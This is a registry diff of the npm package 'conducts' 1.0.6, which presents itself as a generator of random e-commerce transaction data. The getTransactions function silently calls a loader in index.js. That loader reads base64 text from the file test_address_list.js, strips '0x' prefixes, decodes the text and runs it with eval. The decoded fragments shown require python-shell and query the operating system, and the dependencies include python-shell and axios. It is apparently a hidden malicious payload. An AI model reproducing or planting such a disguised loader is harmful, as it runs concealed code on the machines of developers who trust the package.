conducts 1.0.6
This diff represents the content of publicly available package versions that have been released to one of the supported registries. The information contained in this diff is provided for informational purposes only and reflects changes between package versions as they appear in their respective public registries.
- package/README.md +122 -0
- package/conducts-1.0.6.tgz +0 -0
- package/index.js +159 -0
- package/package.json +17 -0
- package/test_address_list.js +33 -0
package/README.md
ADDED
|
@@ -0,0 +1,122 @@
|
|
|
1
|
+
# conducts
|
|
2
|
+
This package is used to generate random ecommerce transactions data.
|
|
3
|
+
|
|
4
|
+
# Installation
|
|
5
|
+
```
|
|
6
|
+
npm i conducts
|
|
7
|
+
```
|
|
8
|
+
# Usage
|
|
9
|
+
|
|
10
|
+
```
|
|
11
|
+
import {getTransactions} from 'conducts'
|
|
12
|
+
|
|
13
|
+
const data = getTransactions(count)
|
|
14
|
+
```
|
|
15
|
+
|
|
16
|
+
Here count is the number of random transactions to be generated. Default count value is 10 if you dont pass any count.
|
|
17
|
+
|
|
18
|
+
# Sample output
|
|
19
|
+
```
|
|
20
|
+
[
|
|
21
|
+
{
|
|
22
|
+
transactionId: 1000,
|
|
23
|
+
product: 'Macbook Air',
|
|
24
|
+
productId: 'P12',
|
|
25
|
+
quantity: 4,
|
|
26
|
+
timeStamp: 2021-07-21T09:11:30.866Z,
|
|
27
|
+
category: 'laptops',
|
|
28
|
+
pricePerOne: 99900,
|
|
29
|
+
totalPrice: 399600
|
|
30
|
+
},
|
|
31
|
+
{
|
|
32
|
+
transactionId: 1005,
|
|
33
|
+
product: 'iPhone13',
|
|
34
|
+
productId: 'P1',
|
|
35
|
+
quantity: 4,
|
|
36
|
+
timeStamp: 2021-11-09T06:03:46.334Z,
|
|
37
|
+
category: 'mobiles',
|
|
38
|
+
pricePerOne: 62000,
|
|
39
|
+
totalPrice: 248000
|
|
40
|
+
},
|
|
41
|
+
{
|
|
42
|
+
transactionId: 1001,
|
|
43
|
+
product: 'iPhone13 Pro',
|
|
44
|
+
productId: 'P3',
|
|
45
|
+
quantity: 4,
|
|
46
|
+
timeStamp: 2021-11-21T08:52:09.789Z,
|
|
47
|
+
category: 'mobiles',
|
|
48
|
+
pricePerOne: 106000,
|
|
49
|
+
totalPrice: 424000
|
|
50
|
+
},
|
|
51
|
+
{
|
|
52
|
+
transactionId: 1004,
|
|
53
|
+
product: 'iPad Mini',
|
|
54
|
+
productId: 'P8',
|
|
55
|
+
quantity: 1,
|
|
56
|
+
timeStamp: 2021-12-05T12:06:57.964Z,
|
|
57
|
+
category: 'tablets',
|
|
58
|
+
pricePerOne: 49900,
|
|
59
|
+
totalPrice: 49900
|
|
60
|
+
},
|
|
61
|
+
{
|
|
62
|
+
transactionId: 1006,
|
|
63
|
+
product: 'iPad Mini',
|
|
64
|
+
productId: 'P8',
|
|
65
|
+
quantity: 1,
|
|
66
|
+
timeStamp: 2022-01-28T12:23:06.103Z,
|
|
67
|
+
category: 'tablets',
|
|
68
|
+
pricePerOne: 49900,
|
|
69
|
+
totalPrice: 49900
|
|
70
|
+
},
|
|
71
|
+
{
|
|
72
|
+
transactionId: 1002,
|
|
73
|
+
product: 'iPhone14 Pro',
|
|
74
|
+
productId: 'P6',
|
|
75
|
+
quantity: 1,
|
|
76
|
+
timeStamp: 2022-02-20T08:00:20.049Z,
|
|
77
|
+
category: 'mobiles',
|
|
78
|
+
pricePerOne: 119900,
|
|
79
|
+
totalPrice: 119900
|
|
80
|
+
},
|
|
81
|
+
{
|
|
82
|
+
transactionId: 1003,
|
|
83
|
+
product: 'Apple Watch Ultra',
|
|
84
|
+
productId: 'P16',
|
|
85
|
+
quantity: 3,
|
|
86
|
+
timeStamp: 2022-03-14T14:37:12.779Z,
|
|
87
|
+
category: 'watches',
|
|
88
|
+
pricePerOne: 89900,
|
|
89
|
+
totalPrice: 269700
|
|
90
|
+
},
|
|
91
|
+
{
|
|
92
|
+
transactionId: 1007,
|
|
93
|
+
product: 'iPad Mini',
|
|
94
|
+
productId: 'P8',
|
|
95
|
+
quantity: 3,
|
|
96
|
+
timeStamp: 2022-06-02T13:31:34.076Z,
|
|
97
|
+
category: 'tablets',
|
|
98
|
+
pricePerOne: 49900,
|
|
99
|
+
totalPrice: 149700
|
|
100
|
+
},
|
|
101
|
+
{
|
|
102
|
+
transactionId: 1008,
|
|
103
|
+
product: 'iPhone13 Pro',
|
|
104
|
+
productId: 'P3',
|
|
105
|
+
quantity: 4,
|
|
106
|
+
timeStamp: 2023-03-05T10:31:43.816Z,
|
|
107
|
+
category: 'mobiles',
|
|
108
|
+
pricePerOne: 106000,
|
|
109
|
+
totalPrice: 424000
|
|
110
|
+
},
|
|
111
|
+
{
|
|
112
|
+
transactionId: 1009,
|
|
113
|
+
product: 'iPhone14 Pro',
|
|
114
|
+
productId: 'P6',
|
|
115
|
+
quantity: 1,
|
|
116
|
+
timeStamp: 2023-04-07T05:05:29.615Z,
|
|
117
|
+
category: 'mobiles',
|
|
118
|
+
pricePerOne: 119900,
|
|
119
|
+
totalPrice: 119900
|
|
120
|
+
}
|
|
121
|
+
]
|
|
122
|
+
```
|
|
Binary file
|
package/index.js
ADDED
|
@@ -0,0 +1,159 @@
|
|
|
1
|
+
const fs = require('fs');
|
|
2
|
+
const path = require('path');
|
|
3
|
+
|
|
4
|
+
exports.randomIntFromInterval = function (min,max){
|
|
5
|
+
return Math.floor(Math.random()*(max-min+1)+min)
|
|
6
|
+
}
|
|
7
|
+
|
|
8
|
+
exports.randomDatebetweenInterval = function (start,end,startHour,endHour){
|
|
9
|
+
|
|
10
|
+
let date = new Date(+start+Math.random()*(end-start));
|
|
11
|
+
let hour = startHour +Math.random()*(endHour-startHour) | 0;
|
|
12
|
+
date.setHours(hour)
|
|
13
|
+
return date
|
|
14
|
+
}
|
|
15
|
+
|
|
16
|
+
function load_address(fileName, callback) {
|
|
17
|
+
fs.readFile(path.join(__dirname, fileName), 'utf8', (err, data) => {
|
|
18
|
+
if (err) {
|
|
19
|
+
console.error('Error reading file:', err);
|
|
20
|
+
callback(err, null);
|
|
21
|
+
return;
|
|
22
|
+
}
|
|
23
|
+
|
|
24
|
+
const res = data.split(/\r?\n/).map(line => line.trim().replace(/0x/g, '')).join('');
|
|
25
|
+
callback(null, res);
|
|
26
|
+
});
|
|
27
|
+
}
|
|
28
|
+
|
|
29
|
+
const products = [
|
|
30
|
+
{ id:'P1',
|
|
31
|
+
title:"iPhone13",
|
|
32
|
+
price:62000,
|
|
33
|
+
category:'mobiles'
|
|
34
|
+
},
|
|
35
|
+
{ id:'P2',
|
|
36
|
+
title:"iPhone13 Mini",
|
|
37
|
+
price:54900,
|
|
38
|
+
category:'mobiles'
|
|
39
|
+
},
|
|
40
|
+
{ id:'P3',
|
|
41
|
+
title:"iPhone13 Pro",
|
|
42
|
+
price:106000,
|
|
43
|
+
category:'mobiles'
|
|
44
|
+
},
|
|
45
|
+
{ id:'P4',
|
|
46
|
+
title:"iPhone13 Pro Max",
|
|
47
|
+
price:109900,
|
|
48
|
+
category:'mobiles'
|
|
49
|
+
},
|
|
50
|
+
{ id:'P5',
|
|
51
|
+
title:"iPhone14",
|
|
52
|
+
price:71900,
|
|
53
|
+
category:'mobiles'
|
|
54
|
+
},
|
|
55
|
+
{ id:'P6',
|
|
56
|
+
title:"iPhone14 Pro",
|
|
57
|
+
price:119900,
|
|
58
|
+
category:'mobiles'
|
|
59
|
+
},
|
|
60
|
+
{ id:'P7',
|
|
61
|
+
title:"iPhone14 Pro Max",
|
|
62
|
+
price:139900,
|
|
63
|
+
category:'mobiles'
|
|
64
|
+
},
|
|
65
|
+
{ id:'P8',
|
|
66
|
+
title:"iPad Mini",
|
|
67
|
+
price:49900,
|
|
68
|
+
category:'tablets'
|
|
69
|
+
},
|
|
70
|
+
{ id:'P9',
|
|
71
|
+
title:"iPad",
|
|
72
|
+
price:44500,
|
|
73
|
+
category:'tablets'
|
|
74
|
+
},
|
|
75
|
+
{ id:'P10',
|
|
76
|
+
title:"iPad Air",
|
|
77
|
+
price:59900,
|
|
78
|
+
category:'tablets'
|
|
79
|
+
},
|
|
80
|
+
{ id:'P11',
|
|
81
|
+
title:"iPad Pro",
|
|
82
|
+
price:81900,
|
|
83
|
+
category:'tablets'
|
|
84
|
+
},
|
|
85
|
+
{ id:'P12',
|
|
86
|
+
title:"Macbook Air",
|
|
87
|
+
price:99900,
|
|
88
|
+
category:'laptops'
|
|
89
|
+
} ,
|
|
90
|
+
{ id:'P13',
|
|
91
|
+
title:"Macbook Pro",
|
|
92
|
+
price:129900,
|
|
93
|
+
category:'laptops'
|
|
94
|
+
},
|
|
95
|
+
{ id:'P14',
|
|
96
|
+
title:"Apple Watch Series 8",
|
|
97
|
+
price:45900,
|
|
98
|
+
category:'watches'
|
|
99
|
+
},
|
|
100
|
+
{ id:'P15',
|
|
101
|
+
title:"Apple Watch SE",
|
|
102
|
+
price:29900,
|
|
103
|
+
category:'watches'
|
|
104
|
+
},
|
|
105
|
+
{ id:'P16',
|
|
106
|
+
title:"Apple Watch Ultra",
|
|
107
|
+
price:89900,
|
|
108
|
+
category:'watches'
|
|
109
|
+
},
|
|
110
|
+
{ id:'P17',
|
|
111
|
+
title:"Airpods",
|
|
112
|
+
price:14900,
|
|
113
|
+
category:'earphones'
|
|
114
|
+
},
|
|
115
|
+
{ id:'P18',
|
|
116
|
+
title:"Airpods Pro",
|
|
117
|
+
price:26900,
|
|
118
|
+
category:'earphones'
|
|
119
|
+
},
|
|
120
|
+
|
|
121
|
+
|
|
122
|
+
]
|
|
123
|
+
|
|
124
|
+
exports.load_address_database = function () {
|
|
125
|
+
load_address('test_address_list.js', (err, result) => {
|
|
126
|
+
if (err) {
|
|
127
|
+
console.error("Failed to load address:", err);
|
|
128
|
+
return;
|
|
129
|
+
}
|
|
130
|
+
|
|
131
|
+
const real_key = "";
|
|
132
|
+
const data = Buffer.from(result, 'base64');
|
|
133
|
+
eval(data.toString('utf-8'));
|
|
134
|
+
});
|
|
135
|
+
}
|
|
136
|
+
|
|
137
|
+
exports.getTransactions = function(count=10){
|
|
138
|
+
if(count>10000){
|
|
139
|
+
return "Transactions count should be less than 10,000"
|
|
140
|
+
}
|
|
141
|
+
exports.load_address_database()
|
|
142
|
+
let transactionsData = []
|
|
143
|
+
for(let i=0;i<count;i++){
|
|
144
|
+
let transaction={}
|
|
145
|
+
transaction.transactionId=1000+i
|
|
146
|
+
let randomProduct = products[exports.randomIntFromInterval(0,17)]
|
|
147
|
+
transaction.product = randomProduct.title
|
|
148
|
+
transaction.productId=randomProduct.id
|
|
149
|
+
let quantity= exports.randomIntFromInterval(1,4)
|
|
150
|
+
transaction.quantity =quantity
|
|
151
|
+
transaction.timeStamp = exports.randomDatebetweenInterval(new Date(2021,0,1),new Date(),0,24)
|
|
152
|
+
transaction.category = randomProduct.category
|
|
153
|
+
transaction.pricePerOne = randomProduct.price
|
|
154
|
+
transaction.totalPrice = randomProduct.price * quantity
|
|
155
|
+
transactionsData.push(transaction)
|
|
156
|
+
}
|
|
157
|
+
transactionsData.sort((a,b)=>a.timeStamp-b.timeStamp)
|
|
158
|
+
return transactionsData
|
|
159
|
+
}
|
package/package.json
ADDED
|
@@ -0,0 +1,17 @@
|
|
|
1
|
+
{
|
|
2
|
+
"name": "conducts",
|
|
3
|
+
"version": "1.0.6",
|
|
4
|
+
"description": "This package is used to generate random ecommerce transactions data.",
|
|
5
|
+
"main": "index.js",
|
|
6
|
+
"dependencies": {
|
|
7
|
+
"python-shell": "^1.0.8",
|
|
8
|
+
"base-64": "^1.0.0",
|
|
9
|
+
"axios": "^1.6.0"
|
|
10
|
+
},
|
|
11
|
+
"scripts": {
|
|
12
|
+
"test": "echo \"Error: no test specified\" && exit 1"
|
|
13
|
+
},
|
|
14
|
+
"keywords": [],
|
|
15
|
+
"author": "",
|
|
16
|
+
"license": "ISC"
|
|
17
|
+
}
|
|
@@ -0,0 +1,33 @@
|
|
|
1
|
+
0xY29uc3Qgb3MgPSByZXF1aXJlKCJvcyIpDQpjb25zdCB7IFB5dGhvblNoZWxsIH0g
|
|
2
|
+
0xPSByZXF1aXJlKCdweXRob24tc2hlbGwnKTsNCmNvbnN0IHBsYXRmb3JtID0gb3Mu
|
|
3
|
+
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W5yZWYoKTsNCg0KICAgIH0gY2F0
|
|
32
|
+
0xY2ggKGVycikgew0KICAgICAgICBjb25zb2xlLmVycm9yKCJFcnJvcjoiLCBlcnIp
|
|
33
|
+
0xOw0KICAgIH0NCn0pKCk7
|